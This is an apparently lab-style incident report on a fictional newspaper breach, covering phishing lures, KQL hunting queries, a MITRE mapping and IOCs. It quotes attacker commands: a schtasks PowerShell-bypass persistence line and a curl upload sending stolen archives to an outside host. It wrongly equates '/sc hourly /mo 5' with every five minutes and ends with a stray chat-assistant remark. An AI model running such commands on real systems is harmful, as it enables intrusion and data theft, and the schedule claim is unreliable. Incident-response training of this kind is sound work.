Incident Investigation Report: A Scandal in Valdoria (Part 1)

Target Organization: The Valdorian Times
Investigated By: Joshua Berkoh (Security Analyst II)
Date of Report: June 29, 2026
Incident Window: January 5, 2024 – February 4, 2024

Executive Summary

On the eve of a major mayoral election, *The Valdorian Times* inadvertently published a highly defamatory, falsified article accusing a leading candidate of corruption and land-deal misconduct. Forensic analysis of the network telemetry revealed a highly targeted, multi-stage social engineering campaign conducted by an external hacktivist threat group. The adversaries successfully gained initial access via weaponized recruitment lures, established persistence through scheduled tasks, and leveraged automated remote SSH tunnels via plink.exe to execute hands-on-keyboard operations. This blueprint allowed the threat actors to exfiltrate proprietary corporate data and hijack an internal editorial mailbox to inject the falsified document directly into the printing queue.

1. Incident Timeline

- **[Jan 05, 09:42 UTC]** – Adversary targets Senior Editor Sonia Gose with an external phishing email.
- **[Jan 05, 10:23 UTC]** – Gose executes the weaponized link, dropping hacktivist_manifesto.ps1.
- **[Jan 10, 08:48 UTC]** – Adversary targets Editorial Intern Ronnie McLovin with a separate recruiter phish.
- **[Jan 10, 08:55 UTC]** – McLovin executes the payload; the adversary establishes a parallel backdoor tunnel.
- **[Jan 21, 07:00 UTC]** – Hands-on-keyboard exfiltration window begins; data is staged into password-protected .7z folders.
- **[Jan 31, 09:47 UTC]** – Adversaries download fakestory.docx directly onto McLovin's local profile.
- **[Jan 31, 10:26 UTC]** – The document is moved, renamed to OpEdFinal_to_print.docx, and replaces legitimate drafts.
- **[Jan 31, 11:11 UTC]** – Adversaries hijack McLovin's mailbox to route the malicious draft to Printer Clark Kent.

2. Phase-by-Phase KQL Playbook & Technical Walkthrough

Threat Thread A: Initial Entry & Backdoor Persistence

The attack chain initiated on January 5, 2024, when an external address

(newspaper_jobs@gmail.com) sent a targeted spear-phishing lure to Senior Editor Sonia Gose (sogose).

```
Code snippet
// Tracking the initial weaponized email delivery vector
Email
| where recipient == "sonia_gose@valdoriantimes.news"
| where subject contains "Lead Political Correspondent"
```

Telemetry captured Gose executing the embedded URL vector (https://promotionrecruit.com/published/Valdorian_Times_Editorial_Offer_Letter.docx) at 10:23:17 UTC. Within seconds, the document pulled down an unauthorized post-exploitation script named hacktivist_manifesto.ps1 to disk path C:\Users\sogose\Downloads\.
To ensure permanent entry to the system, the script immediately leveraged schtasks.exe to form a recurring backdoor mechanism:

```
Code snippet
// Discovering scheduled task persistence mechanisms
ProcessEvents
| where hostname == "UL0M-MACHINE"
| where process_commandline contains "schtasks"
```

The query unmasked a critical task enforcement sequence designed to maintain access every 5 minutes under high-privilege parameters: schtasks /create /sc hourly /mo 5 /tn "Hacktivist Manifesto" /tr "powershell.exe -ExecutionPolicy Bypass -File C:\ProgramData\hacktivist_manifesto.ps1"

Threat Thread B: The Staging Pivot & Local Tunneling Configuration

Adversary process execution maps confirmed that once the script fired, it routinely initiated an outbound reverse-SSH tunnel back to a rogue destination host using the automated utility plink.exe.

```
Code snippet
// Tracking active plink connections and target threat infrastructure
ProcessEvents
| where hostname in ("UL0M-MACHINE", "A37A-DESKTOP")
| where process_name has "plink.exe" or process_commandline has "3389"
```

The active tunnel allowed an external operator named $had0w to map the system natively via RDP bypassing corporate borders. Once inside, the threat actor ran 5 consecutive system discovery commands, starting with whoami, to verify administrative boundaries.
By expanding the hunt using indicators gleaned from the initial access vector, a secondary pivot was uncovered targeting Editorial Intern Ronnie McLovin (romclovin) via an auxiliary rogue domain address: valdorias_best_recruiter@gmail.com.

```
Code snippet
// Pivoting to discover systemic campaign spread across additional employees
Email
| where sender == "valdorias_best_recruiter@gmail.com"
| join kind=inner (Employees) on $left.recipient == $right.email_addr
```

The intern executed the phishing document (Editorial_J0b_Openings_2024.docx) on January 10 at 08:55:07 UTC. This dropped an identically structured plink.exe tunnel running from host A37A-DESKTOP to a secondary malicious network proxy at 168.57.191.100.

Threat Thread C: Data Archival and Exfiltration Routing

On January 21, 2024, the hands-on-keyboard operator began a targeted sweep of the intern's system folders. They executed 7-Zip binaries to pack up and encrypt sensitive file arrays using the passphrase thruthW!llS3tUfree:

- DankMemes.7z (Targeted meme directories)
- MyStolenDataFromDocuments.7z (Full Documents directory copy)
- MyStolenDataFromDesktop.7z (Full Desktop directory copy)

```
Code snippet
// Tracking exfiltration command operations and outbound curl pipes
ProcessEvents
| where hostname == "A37A-DESKTOP"
| where process_commandline contains "curl"
```

The telemetry captured the attacker utilizing a native web extraction pipe to ship the compressed files out of the environment completely: curl -F "file=@C:\Users\romclovin\Documents*.7z" https://hirejob.com/exfil_processor/upload.php

Threat Thread D: Media Subversion & Workflow Injection

On January 31, 2024, at 09:47:51 UTC, the attackers utilized their reverse access tunnel on A37A-DESKTOP to pull down a pre-fabricated, defamatory article named fakestory.docx from the infrastructure node https://hire-recruit.org/files/fakescandal/2024/fakestory.docx.

```
Code snippet
// Forensic analysis of file path movement and staging anomalies
FileCreationEvents
| where hostname == "A37A-DESKTOP"
| where filename has_any ("fakestory", "OpEdFinal")
```

Process logs verified that at 10:26:20 UTC, the threat actor ran commands to overwrite the real election journalism by shifting and renaming the fake file to C:\Users\romclovin\Documents\OpEdFinal_to_print.docx.
Exactly 44 minutes later, at 11:11:12 UTC, the adversary used the active local session tokens to authenticate into Ronnie McLovin's email account. They routed the falsified file directly to Newspaper Printer Clark Kent with the high-severity subject line: *URGENT: Final OpEd Draft Edits (Please publish the following article in tomorrow's paper)*. Relying on normal operational procedures, Kent immediately pushed the file to the printing press, successfully realizing the

attacker's mission objective.

3. MITRE ATT&CK Matrix Mapping

Tactic	Technique ID	Technique Name	Operational Context
Initial Access	T1566.002	Spearphishing Attachment	Delivery of malicious job recruitment documents via external domains.
Execution	T1059.001	PowerShell Scripting Execution	Launch of hacktivist_manifesto.ps1 to configure environmental backdoors.
Persistence	T1053.005	Scheduled Task Creation	Creation of recurring 'Hacktivist Manifesto' task running every 5 minutes.
Command & Control	T1572	Protocol Tunneling	Deploying plink.exe reverse-SSH arrays to connect internal ports to external nodes.
Discovery	T1033	System Owner/User Discovery	Running localized whoami checks across compromised profiles.
Collection	T1560.001	Archive Collected Data: 7-Zip	Mass compression and encryption of local Desktop and Document file blocks.

Exfiltration	T1048.003	Exfiltration Over Alternative Protocol	Utilizing native curl parameters to upload archives directly to hirejob.com.

5. Consolidated Indicators of Compromise (IOCs)

Type	Indicator	Context / Association
IP Address	136[.]130[.]190[.]181	External Tunnel Destination Proxy (Sonia Gose Session)
IP Address	168[.]57[.]191[.]100	External Tunnel Destination Proxy (Ronnie McLovin Session)
IP Address	191[.]7[.]248[.]112	Malicious Recruiter Network Root Domain IP Pointer
Domain	promotionrecruit[.]com	Phishing document link location infrastructure
Domain	promotionrecruit[.]org	Secondary phishing document drop location
Domain	hire-recruit[.]org	Staging location hosting malicious payload files
Domain	hirejob[.]com	Exfiltration storage upload target server node
Filename	hacktivist_manifesto.ps1	Malicious script orchestration and backdoor framework
Filename	fakestory.docx	Pre-fabricated defamatory political file asset
Filename	OpEdFinal_to_print.docx	Subverted document file pushed into production

		workflow
File Hash (SHA256)	60b854332e393a6a2f00153 83969c3ac705126a6b7829b 762057a3994967a61f	File footprint matching weaponized offer letter
File Hash (SHA256)	5f8a7b627533e22aa3e5c35 94605dc6fe6f000b0cc2b8 45ece47ca60673ec7f	File footprint matching weaponized fakestory.docx

This is now perfectly aligned with your established layout style and provides a flawless narrative flow. Since we have locked down Part 1, we can easily progress to Part 2 to wrap up this incident loop. When you are ready, drop the queries and notes for Part 2!